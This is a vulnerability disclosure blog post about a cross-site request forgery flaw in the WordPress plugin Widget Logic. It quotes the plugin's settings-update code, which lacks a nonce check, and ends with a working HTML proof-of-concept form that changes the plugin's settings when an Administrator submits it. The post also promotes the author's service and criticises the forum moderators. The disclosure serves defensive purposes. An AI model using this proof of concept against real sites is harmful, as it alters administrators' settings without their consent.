If There Was a Security Audit of the 300,000+ Install WordPress Plugin Widget Logic, It Missed a Pretty Obvious Vulnerability
One of the changelog entries for the latest version of the WordPress plugin Widget Logic is:
The plugin’s security has been improved, big thanks to Paul Dannewitz for his excellent security audit!
From recent experience there may have been less than a security audit done there.
Update: The credited individual now says “I did not do a full audit”, so add this to list of activity mischaracterized as security audits.
Considering plugin has 300,000+ active installations according to WordPress’ stats, you would reasonably think that its security would had been reviewed by now, so a security audit would only be able to spot obscure issues, but it turns out to not be the case.
After noticing that changelog entry and seeing the person credited for the security audit hadn’t released any report we went to look over the code to see if there was a vulnerability that had been fixed that we should be warning customer of our service if they were using the plugin. What we instead found was that plugin still had a pretty obvious vulnerability, though not a very serious one.
The plugin register the function widget_logic_expand_control() to run during “sidebar_admin_setup”:
300 | add_action( 'sidebar_admin_setup', 'widget_logic_expand_control'); |
So it runs when visiting the Widgets admin page.
In that function, which is located in the file /widget_logic.php, one of chunk code that runs handles updating the plugin’s settings (options) this way:
131 132 133 134 135 136 137 138 139 140 141 142 143 | if ( isset($_POST['widget_logic-options-submit']) ) { if ( !empty($_POST['widget_logic-options-filter']) ) $wl_options['widget_logic-options-filter'] = true; else unset( $wl_options['widget_logic-options-filter'] ); $wl_options['widget_logic-options-wp_reset_query'] = !empty($_POST['widget_logic-options-wp_reset_query']); $wl_options['widget_logic-options-show_errors'] = !empty($_POST['widget_logic-options-show_errors']); $wl_options['widget_logic-options-load_point']=$_POST['widget_logic-options-load_point']; } update_option('widget_logic', $wl_options); |
What is missing there is a nonce check to prevent cross-site request forgery (CSRF) protection, so an attacker could cause a logged in Administrator to send a request that changes the settings.
That is something that would have definitely been caught by the security reviews of WordPress plugins we do, so it seems like other a security audit wasn’t done or it was lacking.
WordPress Causes Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause the setting “Use ‘wp_reset_query’ fix” to be checked, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/widgets.php" method="POST"> <input type="hidden" name="widget_logic-options-wp_reset_query" value="checked" /> <input type="hidden" name="widget_logic-options-load_point" value="parse_query" /> <input type="hidden" name="widget_logic-options-submit" value="Save WL options" /> <input type="submit" value="Submit" /> </form> </body> </html>